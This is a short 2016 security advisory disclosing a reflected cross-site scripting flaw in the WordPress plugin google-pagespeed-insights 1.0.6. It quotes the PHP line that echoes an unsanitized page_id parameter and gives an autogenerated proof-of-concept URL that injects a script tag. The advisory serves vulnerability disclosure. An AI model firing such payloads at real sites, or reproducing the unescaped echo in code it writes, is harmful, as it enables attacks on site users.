Advisory #: 377
Title: Reflected XSS in wordpress plugin google-pagespeed-insights v1.0.6
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/google-pagespeed-insights
Downloads: 66639
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: google-pagespeed-insights
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./google-pagespeed-insights/core/admin.php: 787: <a href="?page=<?php echo $_REQUEST['page'];?>&render=details&page_id=<?php echo $_GET['page_id']; ?>" class="nav-tab nav-tab-active nav-tab-temp"><?php _e('Report Details', 'gpagespeedi'); ?></a> The variable page_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./google-pagespeed-insights/core/admin.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/google-pagespeed-insights/core/admin.php?page_id=">"><script>alert(1);</script><"<"